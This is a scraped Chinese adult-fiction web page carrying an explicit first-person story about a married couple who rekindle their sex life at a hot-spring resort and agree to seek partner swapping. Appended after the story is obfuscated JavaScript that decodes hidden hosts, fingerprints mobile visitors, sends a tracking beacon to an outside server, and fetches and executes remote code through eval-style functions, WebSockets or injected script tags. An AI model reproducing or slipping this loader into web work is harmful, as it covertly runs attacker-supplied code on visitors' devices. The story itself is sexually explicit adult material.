热搜排行
我们一对恩爱夫妻的交换
      我们结婚有10年了,儿子也有8岁了,一个幸福的3口之家。

随着岁月的流逝,我们婚姻的生活从开始的激情到有了孩子后的兴奋,渐渐的再到后来的平淡无味。

10年啊,听起来是那麽的漫长,然而感觉却又是那麽的短暂。

我们从风华正茂的青年,转眼之间就要步入不惑之年的中年了,时间洗刷着一切,留给我们的却是曆经岁月的痕迹。

我们不再年轻,不再拥有激情,剩下的只是公式化的生活程式,家—单位—家。

内容也只是一成不变的:老人、孩子、柴米油盐酱醋茶。

曾经让我们希冀的两性生活也失去了往日的精彩,就好像每日必吃的一日三餐,

索然无味,然而又不得不吃,也许这就是所谓的视觉疲劳吧!在床上,我们

就像两个熟悉的陌生人一样,机械的不带任何欲望的运动着,仿佛儿子在完成老

师交给的作业一样,有那麽一点点的不情愿,又不能不去完成。

这也许就是生活吧!不能否认,在这平淡的日子里,我们双方都不能避免的

开始了一些小动作。其实,我们互相都能感觉得到。虽然都掩饰的很好,

但毕竟是10年夫妻了,一些细微的不易察觉的变化互

相都能体察得到的,只是爲了家庭,谁也没有捅破这层窗户纸而已。

具体发展到什麽阶段了,也就各自心里清楚,没有人提及,也没有人阻拦。

不过,一个阳光明媚的初夏的周日下午,我们坐在家中喝茶,似有若无的閑聊。

不知道是谁先提起的,我们谈到了目前的生活状态。

没想到我们都是那麽的坦率,那麽的认真,就好像事先商量好了似的。

时间一分一秒的流逝,我们足足谈了4个小时。

回顾了我们10年的生活,最后我们得出一致的结论,我们需要改善自己的

婚姻生活,需要找回一些过去的激情,哪怕就是那麽一点点也好呀!我们商定星

期一都请假不去上班了,把孩子送到学校后,我们就开车去郊区的一个温泉度假

村,洗个温泉,放松放松,好好享受一下俩个人的空间。

星期一,一切如计划中的一样,接近中午时分,我们赶到了位于郊区的温泉度假村,随意吃了顿午饭,我们开好了房间。

客房是连体别墅式样的,平房,一室一厅,后院是一个半露天的温泉池,很大,足可以容纳下4个人泡温泉,四周是高高的围墙。

也许是星期一的缘故,人很少的。感觉周围的一切是那麽的安静、温馨。

我们脱光了衣服,泡到温泉中,眯起眼睛,惬意的享受着身体被温暖的泉水抚摸着的舒适感觉。

我睁开眼睛,看着泡在池水中裸体的妻子,好久没有这麽认真地看她了。

她的身体有些发福了,由于生育过,小腹也有了些许的赘肉,岁月不饶人呀!

不过,让我欣慰的是,妻子的皮肤还像过去一样白皙,乳房和臀部虽然有些下

垂,但还是保持相当的丰满,妻子身高1米65,体重120斤,典型的已婚妇女的身材。

我再次眯起眼睛,想细细品味一下眼前的一丝不挂的妻子。

妻子正躺在池水中闭目养神,似乎是察觉到我正在看她,慢慢的睁开了眼睛,

看到我正看着她出神,微微的笑着,带着一丝不易察觉的坏意说:「想什麽呢?」

我睁大眼睛直视着她,轻声地说道:「做爱!」

“就知道你在想做坏事!」

妻子同样轻声的娇嗔道。

我嘿嘿了两声,感觉身体的下部有了一些反应,阴茎渐渐得硬了起来。

说实话,结婚这麽久,还是第一次俩人如此同浴。

妻子感觉到了我的变化,眼角的余光看了看我已经精神的小弟弟,微笑着!

沈默了一下,也就几秒锺吧,妻子爬到我的身边,双手搂着我的脖子,两眼有些

光亮,用只有我们俩人才能听到的声音说:「哎!老公!咱俩在水里做吧,还从

没在水里做过呢,一定很刺激的!」

我什麽话也没说,微笑着看着她,看见她的面庞微微泛起红晕。

我低下头,用手托起她的乳房,不知不觉两片嘴唇含住一粒大大的乳头允吸起来。

经过热热的温泉水的浸泡,感觉妻子乳房已经发涨,皮肤也是红了许多,不!应该是粉嫩了许多。

我贪婪的允吸着因爲哺乳过而变大的乳头,看到她的乳晕慢慢涨红,我一边允吸,一边用手揉捏着另一个乳房。

一会儿的功夫,妻子有了感觉,发出了轻声的呻吟“哦!哦!哦… …!」

我亲吻着,允吸着曾经那麽熟悉的身体。

妻子动情了,不知不觉中,两腿在水中跨骑在我的身上,双手搂着我的头,

嘴唇在我的耳边呢喃道:「老公!我要!」

紧接着,她不由分说一只手伸入水中,一把抓住我兴奋已久的阴茎,身体稍

稍一擡,继而用力往下一坐,把我的阴茎连根送入她的体内,同时我听到妻子压

低声音的一声惊呼:「噢!我的天哪!」

可能是在一个陌生的环境,也怕别人听到,妻子控制了一下自己的声音。

此时,我已经感觉到妻子完全动情了,她已经闭上了眼睛,很默契,也很熟练的上下运动,两个丰满的乳房在我眼前以及嘴边随着她的运动上下跳动着。

我真实的感觉到那久违了的兴奋充满着全身,温暖的泉水包围着我们,整个

下半身没在水中,我用双肘撑在池边的台阶上,让上半身浮出水面,双腿踩在池底,努力迎接着妻子每一次用力的撞击。

“啊!啊!啊!… …”妻子在享受这难得的欢愉的同时也不断发出熟悉的

让人兴奋的呻吟。不过,此时的妻子依旧努力控制着自己的音量,毕竟不是在自己家里那可以

随意的环境里。

我已经有点飘飘然了,以至忘乎所以。管他妈的呢,反正没人认识我们,夫妻俩做爱谁又能管的着,心里这麽想着!

随即对老婆轻声说道:「宝贝儿,大点声,大点声!」

妻子受到了鼓励,也可能是压抑了很久的快感再一次难得的降临,她无所顾

忌的将声音从喉咙深处,不,是内心深处本能的发泄出来。

“噢!噢!噢!… …”妻子开始大声的呻吟,这麽大的音量在我们10年

的婚姻生活中还是第一次听到,她已经将一切置之度外了。

妻子呻吟的节奏越来越快,渐渐的动作也越来越快,而且一次比一次有力!

我知道妻子的高潮就要来临。

我也感到自己积蓄已久的力量想要在这美好的时刻爆发出来。

“啪!啪!啪!… …”两个肉体接触时发出的清脆的接合声混杂着俩人忘

乎所以的叫喊声,编织成了一曲优美动听的旋律不断飘进耳朵,敲打着耳膜,刺激着神经。

我仿佛受到一股强大力量的驱使,配合着妻子上下运动的节奏,在妻子的体

内用力的抽插,一池温暖的泉水在我们的影响下也变得欢快起来,在我们身体的

周围不断的掀起小小的浪花。

与此同时,我张开了嘴,一口叼住了在我眼前不断晃动的一粒直挺挺的大乳

头,疯狂的允吸起来。

两粒乳头被我彼此交换用力的允吸着。

在她快要达到顶峰的时候,我用牙齿轻轻的轻轻的咬她的乳头。

“啊!老公,我不行了!」

妻子一声大叫,我也感到体内深处一股原始的力量即将喷涌而出。

我加快了在她体内抽插的节奏,并且加大了力度。

没过多久,伴随着我们一阵忘情的呼喊声,一股激动人心的电流穿越了我们

的肉体,我们再一次体验到了已经很久没有体会过的共同达到高潮后的快感。

妻子抱着我的头,伏在我的身体上,大口大口的喘息着。

但是,我们的身体没有彼此离开,我的阴茎依旧停留在她的体内,也就半分

锺左右,我看见一股浓稠的白色的液体从我们身体的结合处漂流出来,慢慢的散

,渐渐的融化在了温暖的池水中。

没一会儿,妻子示意让我坐在池边,我慢慢的把阴茎从她的体内拔出,她轻
声的“哦!」了一声。

我起身坐在池边,涨红的阴茎也随即浮出了水面。

奇怪,此时的阴茎虽然刚刚经曆了一场激烈的战斗,显得有些疲软,但是并

没有像往常那样退却并且萎缩,反而依旧保持原先的长度,仿佛在喘息的同时随

时等待着它的主人的召唤。

妻子也察觉到了这个细微的变化,显得十分兴奋。

突然,妻子面对着我蹲入水中,双手抓着我的阴茎,用嘴含住,开始给我口交了。

说实话,这麽多年的婚姻生活,妻子的口交技术已经练就得相当不错了。

然而,此时、此刻、此地、此景,我感受到了一种从未有过的莫名的兴奋。

妻子不断的变换着口交的技巧,我也注意到了妻子没入水中的身体有了轻微
的颤抖。

大约10分锺过后,我的阴茎又昂扬的挺立在妻子的眼前。

忽然,妻子从水池中窜立起来,飞快的跑进房间,在我还没完全回过味的时候,她已经拿着淋浴湿室里的大浴巾走了出来。

多年的默契,让我一下就明白了她的意图,我们相视一笑,看着她把浴巾铺在了池边,我从池水中走出来,站在池边。

我们没有言语,默默的进行着。也许,现在任何的只言片语都是多余的。

妻子铺好浴巾,背对着我,跪在浴巾上,双手撑地,毫无羞涩的高高的擡起臀部,将她丰美的草地展现在我的眼前,仿佛猎物在等待着猎人疯狂的掠夺!也

仿佛是在向我做着诱惑性的挑逗。我单膝跪在她的身后,一只手扶住她丰腴的臀部,往下按了按,她随即调整了一下姿势,将腰塌了下去,现在位置正好。

我的另一只手握着我那再次昂扬起斗志的阴茎,对準她的已经因湿润而微微

张开的桃源洞口,轻轻将腰部往前一送,“嗞!」

,整个阴茎完全进入妻子的体内,听到妻子一声低沈的呻吟:「嗯!」,接下来又是一场酣畅淋漓的夫妻大战,在妻子达到高潮之后的胡言乱语,我也一泄如注。

如此的痛快!好像是很久以前的记忆了,现在感觉曆久弥新。

妻子无力的瘫倒在浴巾上,仿佛还在回味刚才的精彩。

我也浑身无劲,阴茎已经无可奈何的耷拉了下来,象泄了气的皮球一样萎缩了。

稍事休息,我们一起泡了会儿温泉就起身回到房间,沖了个澡,相拥躺在了床上。

真的感觉有些累了,同时也感觉有些困倦。

可是,一躺在床上又好像无法马上入睡,我们就相拥着,在一种半梦半醒的

状态之间,用一种梦呓般的声音回顾着刚刚过去的精彩片断,期待着在混沌中慢慢进入梦乡。

突然,我鬼使神差般的冒出了一句话:「这麽好的环境,刚才要是再有一对

夫妻和我们一起玩的话,那就更完美了!」

此话一出口,我就立即意识到自己失言了,一个激灵,困意全无。

然而,说出去的话,犹如泼出去的水,无法收回。

我想,等待我的将是妻子一顿无情的斥责。

我愣在那里,哑口无言,感觉时间和空气仿佛都凝固了一般。

然而,妻子没有任何的动静,也没有说话。

不知过了多久,妻子转过脸来,打破了眼前的安静,用一种十分温柔而且祥

和的口吻对我说道:「你真的那麽想?」,我睁大了眼睛,沖她点了点头。

出乎意料的是,她笑了。“你是想玩夫妻交换的游戏?」

妻子略带娇媚的口吻说了一句,我答道:「有那麽点想法,就在刚才!」,又是一个微笑,略带一点点笑声。

妻子缓慢的说道:「我不反对呀!」这回轮到我无语了,我噌的坐了起来,郑重其事的说:「真的?」

,妻子望着我,眼神肯定的点了点头。

哈哈,真是“踏破铁鞋无觅处,得来全不费功夫”,心中不免一阵暗喜!别

人费尽口舌也没得到的,我竟然如此轻易地获取了。

此时此刻,我竟然怀疑自己耳朵听到的一切了!我们睡意全无,开始热烈的

讨论起来,我们聊了很多,也谈了各自对此事的看法,最后取得了意见上的统一

,当然,也订了几条规矩。

在不影响家庭的情况下,我们可以寻找有同样想法的夫妻一起享受性爱的快

乐;对方必须是有正当职业的真夫妻,或者多年相交的情侣;必须身体健康;在

确认对方身体健康的情况下,可以不戴套套;而且不反对四人在一起玩。

说着说着,一种无名的兴奋袭上了我们的心头,不知不觉中我的阴茎又涨大起来… …。

接下来当然就是又一场銮战了。

日下西头,我们起身回家,带着一种憧憬彙入到了车流人海之中。

我们都期待着迎接生活中新的一页就此打开。

走在回家的路上,我们一直默默无语。

但是,我知道我们俩人现在都是心潮起伏,思绪万千,不知道前面等着我们

的将是一个怎样的景象。
猜你喜欢下面这些
function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};